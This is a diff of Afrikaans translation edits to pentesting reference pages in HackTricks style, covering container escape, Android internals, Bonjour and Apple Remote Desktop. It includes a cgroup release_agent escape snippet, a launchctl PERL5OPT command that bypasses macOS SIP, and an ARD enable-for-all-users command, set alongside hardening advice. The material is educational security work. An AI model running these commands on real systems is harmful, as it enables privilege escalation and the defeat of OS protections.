/var/run/kubelet.sock # Kubelet API op Kubernetes-knope
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
@ -315,7 +314,7 @@ A similar technique works with **crictl**, **podman** or the **kubelet** API onc
|
||||
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
|
||||
|
||||
```bash
|
||||
# aanneem dat die houer CAP_SYS_ADMIN het en 'n kwesbare kern
|
||||
# aannemende dat die houer CAP_SYS_ADMIN het en 'n kwesbare kern
|
||||
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # vereis CVE-2022-0492
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Via `PERL5OPT` & `PERL5LIB` omgewing veranderlike
|
||||
|
||||
Deur die omgewing veranderlike **`PERL5OPT`** te gebruik, is dit moontlik om **Perl** te laat uitvoer van arbitrêre opdragte wanneer die interpreter begin (selfs **voor** die eerste lyn van die teikenskrip geanaliseer word).
|
||||
Deur die omgewing veranderlike **`PERL5OPT`** te gebruik, is dit moontlik om **Perl** te laat uitvoer van willekeurige opdragte wanneer die interpreter begin (selfs **voor** die eerste lyn van die teikenskrip geanaliseer word).
|
||||
Byvoorbeeld, skep hierdie skrip:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
@ -58,23 +58,23 @@ Tipiese uitvoer op macOS 13/14 lyk soos:
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Sommige van die teruggekeerde vouers bestaan selfs nie, maar **`/Library/Perl/5.30`** bestaan, is *nie* beskerm deur SIP nie en is *voor* die SIP-beskermde vouers. Daarom, as jy as *root* kan skryf, kan jy 'n kwaadwillige module (bv. `File/Basename.pm`) laat val wat *voorkeursgewys* gelaai sal word deur enige bevoorregte skrip wat daardie module invoer.
|
||||
Sommige van die teruggegee vouers bestaan selfs nie, maar **`/Library/Perl/5.30`** bestaan, is *nie* beskerm deur SIP nie en is *voor* die SIP-beskermde vouers. Daarom, as jy as *root* kan skryf, kan jy 'n kwaadwillige module (bv. `File/Basename.pm`) laat val wat *voorkeursgewys* gelaai sal word deur enige bevoorregte skrip wat daardie module invoer.
|
||||
|
||||
> [!WARNING]
|
||||
> Jy het steeds **root** nodig om binne `/Library/Perl` te skryf en macOS sal 'n **TCC**-prompt wys wat vra vir *Volledige Skyf Toegang* vir die proses wat die skryfoperasie uitvoer.
|
||||
> Jy het steeds **root** nodig om binne `/Library/Perl` te skryf en macOS sal 'n **TCC** prompt wys wat vra vir *Volledige Skyf Toegang* vir die proses wat die skryfoperasie uitvoer.
|
||||
|
||||
Byvoorbeeld, as 'n skrip **`use File::Basename;`** invoer, sal dit moontlik wees om `/Library/Perl/5.30/File/Basename.pm` te skep wat aanvaller-beheerde kode bevat.
|
||||
|
||||
## SIP omseiling via Migrasie Assistent (CVE-2023-32369 “Migraine”)
|
||||
|
||||
In Mei 2023 het Microsoft **CVE-2023-32369** bekend gemaak, met die bynaam **Migraine**, 'n post-exploitatie tegniek wat 'n *root* aanvaller in staat stel om **System Integrity Protection (SIP)** heeltemal te **omseil**.
|
||||
In Mei 2023 het Microsoft **CVE-2023-32369** bekend gemaak, met die bynaam **Migraine**, 'n post-exploitatie tegniek wat 'n *root* aanvaller in staat stel om **die Stelsels Integriteit Beskerming (SIP)** heeltemal te **omseil**.
|
||||
Die kwesbare komponent is **`systemmigrationd`**, 'n daemon wat toegelaat word met **`com.apple.rootless.install.heritable`**. Enige kindproses wat deur hierdie daemon gegenereer word, erf die toelae en loop dus **buite** SIP-beperkings.
|
||||
|
||||
Onder die kinders wat deur die navorsers geïdentifiseer is, is die Apple-onderteken interpreter:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
Omdat Perl `PERL5OPT` eerbiedig, (en Bash eerbiedig `BASH_ENV`), is dit genoeg om die daemon se *omgewing* te vergiftig om arbitrêre uitvoering in 'n SIP-loos konteks te verkry:
|
||||
Omdat Perl `PERL5OPT` eerbiedig, en Bash `BASH_ENV` eerbiedig, is dit genoeg om die daemon se *omgewing* te vergiftig om arbitrêre uitvoering in 'n SIP-loos konteks te verkry:
|
||||
```bash
|
||||
# As root
|
||||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
@ -82,20 +82,20 @@ launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
Wanneer `migrateLocalKDC` loop, begin `/usr/bin/perl` met die kwaadwillige `PERL5OPT` en voer `/private/tmp/migraine.sh` uit *voordat SIP heraktiveer word*. Vanuit daardie skrip kan jy byvoorbeeld 'n payload binne **`/System/Library/LaunchDaemons`** kopieer of die `com.apple.rootless` uitgebreide attribuut toewys om 'n lêer **onverwyderbaar** te maak.
|
||||
Wanneer `migrateLocalKDC` loop, begin `/usr/bin/perl` met die kwaadwillige `PERL5OPT` en voer `/private/tmp/migraine.sh` *uit voordat SIP heraktiveer word*. Vanuit daardie skrip kan jy byvoorbeeld 'n payload binne **`/System/Library/LaunchDaemons`** kopieer of die `com.apple.rootless` uitgebreide attribuut toewys om 'n lêer **onverwyderbaar** te maak.
|
||||
|
||||
Apple het die probleem in macOS **Ventura 13.4**, **Monterey 12.6.6** en **Big Sur 11.7.7** reggestel, maar ouer of nie-gepatchte stelsels bly uitbuitbaar.
|
||||
|
||||
## Versterking aanbevelings
|
||||
|
||||
1. **Verwyder gevaarlike veranderlikes** – bevoorregte launchdaemons of cron jobs moet met 'n skoon omgewing begin (`launchctl unsetenv PERL5OPT`, `env -i`, ens.).
|
||||
2. **Vermy om interpreters as root te laat loop** tensy dit streng nodig is. Gebruik gecompileerde binêre of laat voorregte vroeg val.
|
||||
2. **Vermy om interpreters as root te laat loop** tensy dit streng nodig is. Gebruik gecompileerde binaire of laat voorregte vroeg val.
|
||||
3. **Verskaffer skripte met `-T` (taint mode)** sodat Perl `PERL5OPT` en ander onveilige skakels ignoreer wanneer taint kontrole geaktiveer is.
|
||||
4. **Hou macOS op datum** – “Migraine” is volledig gepatch in huidige weergawes.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- Microsoft Security Blog – “Nuwe macOS kwesbaarheid, Migraine, kan die Stelselintegriteitsbeskerming omseil” (CVE-2023-32369), 30 Mei 2023.
|
||||
- Hackyboiz – “macOS SIP Bypass (PERL5OPT & BASH_ENV) navorsing”, Mei 2025.
|
||||
- Microsoft Security Blog – “Nuwe macOS kwesbaarheid, Migraine, kan Stelselintegriteitsbeskerming omseil” (CVE-2023-32369), 30 Mei 2023.
|
||||
- Hackyboiz – “macOS SIP Omseiling (PERL5OPT & BASH_ENV) navorsing”, Mei 2025.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -24,11 +24,11 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
|
||||
```
|
||||
### Pentesting ARD
|
||||
|
||||
Apple Remote Desktop (ARD) is 'n verbeterde weergawe van [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) wat vir macOS aangepas is, en bied addisionele kenmerke. 'n Noemenswaardige kwesbaarheid in ARD is sy outentikasie metode vir die kontroleer skerm wagwoord, wat slegs die eerste 8 karakters van die wagwoord gebruik, wat dit vatbaar maak vir [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) met gereedskap soos Hydra of [GoRedShell](https://github.com/ahhh/GoRedShell/), aangesien daar geen standaard koersbeperkings is nie.
|
||||
Apple Remote Desktop (ARD) is 'n verbeterde weergawe van [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) wat vir macOS aangepas is, en bied addisionele kenmerke. 'n Opmerklike kwesbaarheid in ARD is sy outentikasie metode vir die kontroleer skerm wagwoord, wat slegs die eerste 8 karakters van die wagwoord gebruik, wat dit vatbaar maak vir [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) met gereedskap soos Hydra of [GoRedShell](https://github.com/ahhh/GoRedShell/), aangesien daar geen standaard koersbeperkings is nie.
|
||||
|
||||
Kwetsbare instansies kan geïdentifiseer word met **nmap**'s `vnc-info` skrip. Dienste wat `VNC Authentication (2)` ondersteun, is veral vatbaar vir brute force-aanvalle weens die 8-karakter wagwoord afkorting.
|
||||
|
||||
Om ARD in te skakel vir verskeie administratiewe take soos privilige eskalasie, GUI-toegang, of gebruikersmonitering, gebruik die volgende opdrag:
|
||||
Om ARD vir verskeie administratiewe take soos privilige eskalasie, GUI-toegang, of gebruikersmonitering in te skakel, gebruik die volgende opdrag:
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
@ -58,19 +58,19 @@ sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setblockapp /System/Libra
|
||||
|
||||
## Bonjour Protokol
|
||||
|
||||
Bonjour, 'n Apple-ontwerpte tegnologie, laat **toestelle op dieselfde netwerk toe om mekaar se aangebied dienste te ontdek**. Ook bekend as Rendezvous, **Zero Configuration**, of Zeroconf, stel dit 'n toestel in staat om by 'n TCP/IP-netwerk aan te sluit, **automaties 'n IP-adres te kies**, en sy dienste aan ander netwerktoestelle te broadcast.
|
||||
Bonjour, 'n Apple-ontwerpte tegnologie, laat **toestelle op dieselfde netwerk mekaar se aangebied dienste opspoor**. Ook bekend as Rendezvous, **Zero Configuration**, of Zeroconf, stel dit 'n toestel in staat om by 'n TCP/IP-netwerk aan te sluit, **automaties 'n IP-adres te kies**, en sy dienste aan ander netwerktoestelle te broadcast.
|
||||
|
||||
Zero Configuration Networking, verskaf deur Bonjour, verseker dat toestelle kan:
|
||||
Zero Configuration Networking, wat deur Bonjour verskaf word, verseker dat toestelle kan:
|
||||
|
||||
- **Automaties 'n IP-adres verkry** selfs in die afwesigheid van 'n DHCP-bediener.
|
||||
- **Naam-naar-adres vertaling** uitvoer sonder om 'n DNS-bediener te vereis.
|
||||
- **Dienste** beskikbaar op die netwerk ontdek.
|
||||
- **Dienste** op die netwerk ontdek.
|
||||
|
||||
Toestelle wat Bonjour gebruik, sal vir hulleself 'n **IP-adres uit die 169.254/16 reeks** toewys en die uniekheid daarvan op die netwerk verifieer. Macs hou 'n routeringstabelinvoer vir hierdie subnet, wat verifieer kan word via `netstat -rn | grep 169`.
|
||||
|
||||
Vir DNS gebruik Bonjour die **Multicast DNS (mDNS) protokol**. mDNS werk oor **poort 5353/UDP**, wat **standaard DNS-vrae** gebruik maar teiken die **multicast adres 224.0.0.251**. Hierdie benadering verseker dat alle luisterende toestelle op die netwerk die vrae kan ontvang en daarop kan reageer, wat die opdatering van hul rekords vergemaklik.
|
||||
|
||||
By die aansluiting by die netwerk, kies elke toestel self 'n naam, wat gewoonlik eindig op **.local**, wat afgelei kan wees van die gasheernaam of ewekansig gegenereer kan word.
|
||||
By die aansluiting by die netwerk, kies elke toestel self 'n naam, wat gewoonlik eindig op **.local**, wat afgelei kan word van die gasheernaam of ewekansig gegenereer kan word.
|
||||
|
||||
Dienste ontdekking binne die netwerk word vergemaklik deur **DNS Service Discovery (DNS-SD)**. Deur die formaat van DNS SRV rekords te benut, gebruik DNS-SD **DNS PTR rekords** om die lys van verskeie dienste moontlik te maak. 'n Kliënt wat 'n spesifieke diens soek, sal 'n PTR rekord vir `<Service>.<Domain>` aan vra, en in ruil 'n lys van PTR rekords ontvang wat geformateer is as `<Instance>.<Service>.<Domain>` indien die diens beskikbaar is vanaf verskeie gasheer.
|
||||
|
||||
@ -84,9 +84,9 @@ dns-sd -B _ssh._tcp
|
||||
```
|
||||
Hierdie opdrag begin om \_ssh.\_tcp dienste te soek en gee besonderhede soos tydstempel, vlae, koppelvlak, domein, dienste tipe, en instansienaam uit.
|
||||
|
||||
### Adverteer 'n HTTP Diens
|
||||
### Adverteer 'n HTTP-diens
|
||||
|
||||
Om 'n HTTP diens te adverteer, kan jy gebruik:
|
||||
Om 'n HTTP-diens te adverteer, kan jy gebruik maak van:
|
||||
```bash
|
||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
```
|
||||
@ -145,18 +145,18 @@ Dit sal gashere teruggee wat SSH via Bonjour buite die plaaslike skakel blootste
|
||||
| Jaar | CVE | Ernstigheid | Probleem | Gepatch in |
|
||||
|------|-----|----------|-------|------------|
|
||||
|2024|CVE-2024-44183|Medium|‘n Logika fout in *mDNSResponder* het 'n vervaardigde pakket toegelaat om 'n **diensonderbreking** te aktiveer|macOS Ventura 13.7 / Sonoma 14.7 / Sequoia 15.0 (Sep 2024) |
|
||||
|2025|CVE-2025-31222|High|‘n Korrekheid probleem in *mDNSResponder* kan misbruik word vir **lokale privilige-escalasie**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (Mei 2025) |
|
||||
|2025|CVE-2025-31222|High|‘n Korrekheid probleem in *mDNSResponder* kan misbruik word vir **lokale privilige eskalasie**|macOS Ventura 13.7.6 / Sonoma 14.7.6 / Sequoia 15.5 (Mei 2025) |
|
||||
|
||||
**Mitigering riglyne**
|
||||
|
||||
1. Beperk UDP 5353 tot *link-lokale* omvang – blokkeer of beperk dit op draadlose controllers, routers, en gasheer-gebaseerde vuurmure.
|
||||
2. Deaktiveer Bonjour heeltemal op stelsels wat nie diensontdekking benodig nie:
|
||||
2. Deaktiveer Bonjour heeltemal op stelsels wat nie diensontdekking vereis nie:
|
||||
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
3. Vir omgewings waar Bonjour intern benodig word maar nooit netwerkgrense mag oorskry nie, gebruik *AirPlay Receiver* profielbeperkings (MDM) of 'n mDNS-proxy.
|
||||
4. Aktiveer **Stelsel Integriteit Beskerming (SIP)** en hou macOS op datum – beide kwesbaarhede hierbo is vinnig gepatch, maar het op SIP se aktivering staatgemaak vir volle beskerming.
|
||||
3. Vir omgewings waar Bonjour intern vereis word maar nooit netwerkgrense mag oorskry nie, gebruik *AirPlay Receiver* profielbeperkings (MDM) of 'n mDNS-proxy.
|
||||
4. Aktiveer **Stelselintegriteitbeskerming (SIP)** en hou macOS op datum – beide kwesbaarhede hierbo is vinnig gepatch, maar het op SIP se aktivering staatgemaak vir volle beskerming.
|
||||
|
||||
### Deaktivering van Bonjour
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
||||
|
||||
### UID Sharing
|
||||
|
||||
**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van albei toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadsaam** word.\
|
||||
**Twee toepassings kan gekonfigureer word om dieselfde UID te gebruik**. Dit kan nuttig wees om inligting te deel, maar as een daarvan gecompromitteer word, sal die data van albei toepassings gecompromitteer wees. Dit is waarom hierdie gedrag **afgeraadpleeg** word.\
|
||||
**Om dieselfde UID te deel, moet toepassings dieselfde `android:sharedUserId` waarde in hul manifes definieer.**
|
||||
|
||||
### Sandboxing
|
||||
@ -25,23 +25,23 @@ Vanaf Android 5.0(L) word **SELinux** afgedwing. Basies het SELinux alle prosesi
|
||||
|
||||
### Permissions
|
||||
|
||||
Wanneer jy 'n **app installeer en dit vra om toestemmings**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **name** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een wat gespesifiseer is.\
|
||||
Wanneer jy 'n **app installeer en dit vra om toestemming**, vra die app vir die toestemmings wat in die **`uses-permission`** elemente in die **AndroidManifest.xml** lêer geconfigureer is. Die **uses-permission** element dui die naam van die aangevraagde toestemming binne die **naam** **attribuut aan.** Dit het ook die **maxSdkVersion** attribuut wat stop om vir toestemmings te vra op weergawes hoër as die een wat gespesifiseer is.\
|
||||
Let daarop dat Android-toepassings nie al die toestemmings aan die begin hoef te vra nie, hulle kan ook **dynamies om toestemmings vra**, maar al die toestemmings moet **verklaar** word in die **manifest.**
|
||||
|
||||
Wanneer 'n app funksionaliteit blootstel, kan dit die **toegang beperk tot slegs apps wat 'n gespesifiseerde toestemming het**.\
|
||||
'n Toestemmingselement het drie attribuut:
|
||||
'n Toestemmingselement het drie attribiete:
|
||||
|
||||
- Die **naam** van die toestemming
|
||||
- Die **permission-group** attribuut, wat toelaat om verwante toestemmings te groepeer.
|
||||
- Die **protection-level** wat aandui hoe die toestemmings toegeken word. Daar is vier tipes:
|
||||
- **Normal**: Gebruik wanneer daar **geen bekende bedreigings** vir die app is nie. Die gebruiker **word nie vereis om dit goed te keur nie**.
|
||||
- **Dangerous**: Dui aan dat die toestemming die aansoekende toepassing 'n paar **verhoogde toegang** gee. **Gebruikers word gevra om dit goed te keur**.
|
||||
- **Dangerous**: Dui aan dat die toestemming die aansoekende toepassing sekere **verhoogde toegang** gee. **Gebruikers word gevra om dit goed te keur**.
|
||||
- **Signature**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer, kan toestemming ontvang. Dit is die sterkste tipe beskerming.
|
||||
- **SignatureOrSystem**: Slegs **apps wat deur dieselfde sertifikaat as die een** wat die komponent uitvoer of **apps wat met stelselniveau toegang loop**, kan toestemming ontvang.
|
||||
|
||||
## Pre-Installed Applications
|
||||
|
||||
Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gidse gevind en sommige van hulle is **geoptimaliseer** (jy mag dalk nie eens die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel).
|
||||
Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** gidse gevind en sommige van hulle is **geoptimaliseer** (jy mag dalk nie eers die `classes.dex` lêer vind nie). Hierdie toepassings is die moeite werd om na te kyk omdat hulle soms **met te veel toestemmings loop** (as wortel).
|
||||
|
||||
- Diegene wat saam met die **AOSP** (Android OpenSource Project) **ROM** verskaf word
|
||||
- Bygevoeg deur die toestel **fabrikant**
|
||||
@ -52,7 +52,7 @@ Hierdie apps word gewoonlik in die **`/system/app`** of **`/system/priv-app`** g
|
||||
Om worteltoegang tot 'n fisiese Android-toestel te verkry, moet jy gewoonlik 1 of 2 **kwesbaarhede** **ontgin** wat gewoonlik **spesifiek** vir die **toestel** en **weergawe** is.\
|
||||
Sodra die ontginning gewerk het, word gewoonlik die Linux `su` binêre na 'n plek gekopieer wat in die gebruiker se PATH omgewing veranderlike gespesifiseer is, soos `/system/xbin`.
|
||||
|
||||
Sodra die su binêre geconfigureer is, word 'n ander Android-app gebruik om met die `su` binêre te kommunikeer en **versoeke vir worteltoegang te verwerk** soos **Superuser** en **SuperSU** (beskikbaar in die Google Play winkel).
|
||||
Sodra die su binêre geconfigureer is, word 'n ander Android-app gebruik om met die `su` binêre te kommunikeer en **versoeke vir worteltoegang** soos **Superuser** en **SuperSU** (beskikbaar in die Google Play winkel) te verwerk.
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat die rooting proses baie gevaarlik is en die toestel ernstig kan beskadig.
|
||||
@ -60,9 +60,9 @@ Sodra die su binêre geconfigureer is, word 'n ander Android-app gebruik om met
|
||||
### ROMs
|
||||
|
||||
Dit is moontlik om die **OS te vervang deur 'n pasgemaakte firmware** te installeer. Deur dit te doen, is dit moontlik om die nuttigheid van 'n ou toestel uit te brei, sagtewarebeperkings te omseil of toegang tot die nuutste Android-kode te verkry.\
|
||||
**OmniROM** en **LineageOS** is twee van die gewildste firmware om te gebruik.
|
||||
**OmniROM** en **LineageOS** is twee van die gewildste firmwares om te gebruik.
|
||||
|
||||
Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n pasgemaakte firmware te installeer nie. **Sommige vervaardigers laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe.
|
||||
Let daarop dat **dit nie altyd nodig is om die toestel te root** om 'n pasgemaakte firmware te installeer nie. **Sommige fabrikante laat** die ontsluiting van hul bootloaders op 'n goed gedokumenteerde en veilige manier toe.
|
||||
|
||||
### Implications
|
||||
|
||||
@ -101,12 +101,12 @@ Vir omgekeerde ingenieurswese word **Smali** noodsaaklik. Dit is die menslike le
|
||||
|
||||
Intents is die primêre middel waardeur Android-apps tussen hul komponente of met ander apps kommunikeer. Hierdie boodskapobjekte kan ook data tussen apps of komponente dra, soortgelyk aan hoe GET/POST versoeke in HTTP-kommunikasie gebruik word.
|
||||
|
||||
So 'n Intent is basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig** word aan spesifieke komponente of apps, **of kan sonder 'n spesifieke ontvanger gestuur word**.\
|
||||
So 'n Intent is basies 'n **boodskap wat tussen komponente oorgedra word**. Intents **kan gerig word** aan spesifieke komponente of apps, **of kan sonder 'n spesifieke ontvanger gestuur word**.\
|
||||
Om dit eenvoudig te stel, kan 'n Intent gebruik word:
|
||||
|
||||
- Om 'n Aktiwiteit te begin, wat tipies 'n gebruikerskoppelvlak vir 'n app oopmaak
|
||||
- As uitsendings om die stelsel en apps van veranderinge in kennis te stel
|
||||
- Om 'n agtergronddiens te begin, stop, en kommunikeer
|
||||
- Om 'n agtergronddiens te begin, stop, en met dit te kommunikeer
|
||||
- Om toegang tot data via ContentProviders te verkry
|
||||
- As terugroep funksies om gebeurtenisse te hanteer
|
||||
|
||||
@ -118,7 +118,7 @@ As kwesbaar, **kan Intents gebruik word om 'n verskeidenheid aanvalle uit te voe
|
||||
|
||||
Intent Filters bestaan uit kategorieë, aksies, en data filters, met die moontlikheid om addisionele metadata in te sluit. Hierdie opstelling laat komponente toe om spesifieke Intents te hanteer wat aan die verklaarde kriteria voldoen.
|
||||
|
||||
'n Kritieke aspek van Android komponente (aktiwiteite/dienste/inhoudverskaffers/uitsend receivers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps interaksie hê as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps interaksie het nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies in te stel.
|
||||
'n Kritieke aspek van Android-komponente (aktiwiteite/dienste/inhoudverskaffers/uitsend receivers) is hul sigbaarheid of **publieke status**. 'n Komponent word as publiek beskou en kan met ander apps interaksie hê as dit **`exported`** is met 'n waarde van **`true`** of as 'n Intent Filter vir dit in die manifest verklaar is. Daar is egter 'n manier vir ontwikkelaars om hierdie komponente eksplisiet privaat te hou, wat verseker dat hulle nie onbedoeld met ander apps interaksie het nie. Dit word bereik deur die **`exported`** attribuut op **`false`** in hul manifest definisies in te stel.
|
||||
|
||||
Boonop het ontwikkelaars die opsie om toegang tot hierdie komponente verder te beveilig deur spesifieke toestemmings te vereis. Die **`permission`** attribuut kan gestel word om af te dwing dat slegs apps met die aangewese toestemming toegang tot die komponent kan verkry, wat 'n ekstra laag van sekuriteit en beheer oor wie met dit kan interaksie hê, toevoeg.
|
||||
```java
|
||||
@ -147,9 +147,9 @@ Hierdie intent moet binne die manifest verklaar word soos in die volgende voorbe
|
||||
|
||||
Die "Intent resolusie" proses bepaal watter app elke boodskap moet ontvang. Hierdie proses oorweeg die **prioriteit eienskap**, wat in die **intent-filter verklaring** gestel kan word, en **die een met die hoër prioriteit sal gekies word**. Hierdie prioriteit kan tussen -1000 en 1000 gestel word en toepassings kan die `SYSTEM_HIGH_PRIORITY` waarde gebruik. As 'n **konflik** ontstaan, verskyn 'n "chooser" venster sodat die **gebruiker kan besluit**.
|
||||
|
||||
### Eksplisiete Intents
|
||||
### Expliciete Intents
|
||||
|
||||
'n Eksplisiete intent spesifiseer die klasnaam wat dit teiken:
|
||||
'n Expliciete intent spesifiseer die klasnaam wat dit teiken:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
@ -161,15 +161,15 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
Hierdie laat ander toepassings toe om **optrede namens jou toepassing te neem**, met behulp van jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie Eksplisiet is nie** (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** te doen.
|
||||
Hierdie laat ander toepassings toe om **optrede namens jou toepassing te neem**, met jou app se identiteit en toestemmings. Om 'n Pending Intent te konstrueer, moet 'n **intent en die aksie wat uitgevoer moet word, gespesifiseer word**. As die **verklaarde intent nie Eksplisiet is nie** (nie verklaar watter intent dit kan oproep nie), kan 'n **kwaadwillige toepassing die verklaarde aksie** namens die slagoffer-app uitvoer. Boonop, **as 'n aksie nie gespesifiseer is nie**, sal die kwaadwillige app in staat wees om **enige aksie namens die slagoffer** te doen.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
In teenstelling met die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur verskeie apps ontvang word**. Dit is egter vanaf API weergawe 14 **moontlik om die app wat die boodskap moet ontvang, te spesifiseer** met behulp van Intent.setPackage.
|
||||
Anders as die vorige intents, wat slegs deur een app ontvang word, **kan broadcast intents deur meerdere apps ontvang word**. Dit is egter vanaf API weergawe 14 **moontlik om die app wat die boodskap moet ontvang, te spesifiseer** met behulp van Intent.setPackage.
|
||||
|
||||
Alternatiewelik is dit ook moontlik om **'n toestemming te spesifiseer wanneer die broadcast gestuur word**. Die ontvangende app sal daardie toestemming moet hê.
|
||||
|
||||
Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (synchroniese). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Broadcast verwerk, oordra of laat val.**
|
||||
Daar is **twee tipes** Uitsendings: **Normaal** (asynchrone) en **Geordende** (sinchrone). Die **volgorde** is gebaseer op die **geconfigureerde prioriteit binne die ontvanger** element. **Elke app kan die Broadcast verwerk, oordra of laat val.**
|
||||
|
||||
Dit is moontlik om 'n **broadcast** te **stuur** met die funksie `sendBroadcast(intent, receiverPermission)` van die `Context` klas.\
|
||||
Jy kan ook die funksie **`sendBroadcast`** van die **`LocalBroadCastManager`** gebruik wat verseker dat die **boodskap nooit die app verlaat nie**. Deur dit te gebruik, sal jy selfs nie 'n ontvanger komponent hoef te eksporteer nie.
|
||||
@ -180,11 +180,11 @@ Hierdie tipe Uitsendings **kan lank nadat hulle gestuur is, toeganklik wees**.\
|
||||
Hierdie is in API vlak 21 verouderd en dit word aanbeveel om **nie hulle te gebruik nie**.\
|
||||
**Hulle laat enige toepassing toe om die data te snuffel, maar ook om dit te wysig.**
|
||||
|
||||
As jy funksies vind wat die woord "sticky" bevat, soos **`sendStickyBroadcast`** of **`sendStickyBroadcastAsUser`**, **kontroleer die impak en probeer om hulle te verwyder**.
|
||||
As jy funksies vind wat die woord "sticky" bevat soos **`sendStickyBroadcast`** of **`sendStickyBroadcastAsUser`**, **kontroleer die impak en probeer om hulle te verwyder**.
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
In Android-toepassings word **deep links** gebruik om 'n aksie (Intent) direk deur 'n URL te begin. Dit word gedoen deur 'n spesifieke **URL skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android-toestel probeer om **'n URL met hierdie skema te benader**, word die gespesifiseerde aktiwiteit binne die toepassing gelaai.
|
||||
In Android-toepassings, **deep links** word gebruik om 'n aksie (Intent) direk deur 'n URL te begin. Dit word gedoen deur 'n spesifieke **URL skema** binne 'n aktiwiteit te verklaar. Wanneer 'n Android-toestel probeer om **'n URL met hierdie skema te benader**, word die gespesifiseerde aktiwiteit binne die toepassing gelaai.
|
||||
|
||||
Die skema moet in die **`AndroidManifest.xml`** lêer verklaar word:
|
||||
```xml
|
||||
@ -221,11 +221,11 @@ Die **Android Interface Definition Language (AIDL)** is ontwerp om kommunikasie
|
||||
|
||||
### Sleutelkonsepte
|
||||
|
||||
- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisiëring van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede.
|
||||
- **Gekoppelde Dienste**: Hierdie dienste gebruik AIDL vir IPC, wat aktiwiteite of komponente in staat stel om aan 'n diens te bind, versoeke te maak en antwoorde te ontvang. Die `onBind` metode in die diens se klas is krities vir die inisiering van interaksie, wat dit 'n belangrike area maak vir sekuriteitsherziening in die soeke na kwesbaarhede.
|
||||
|
||||
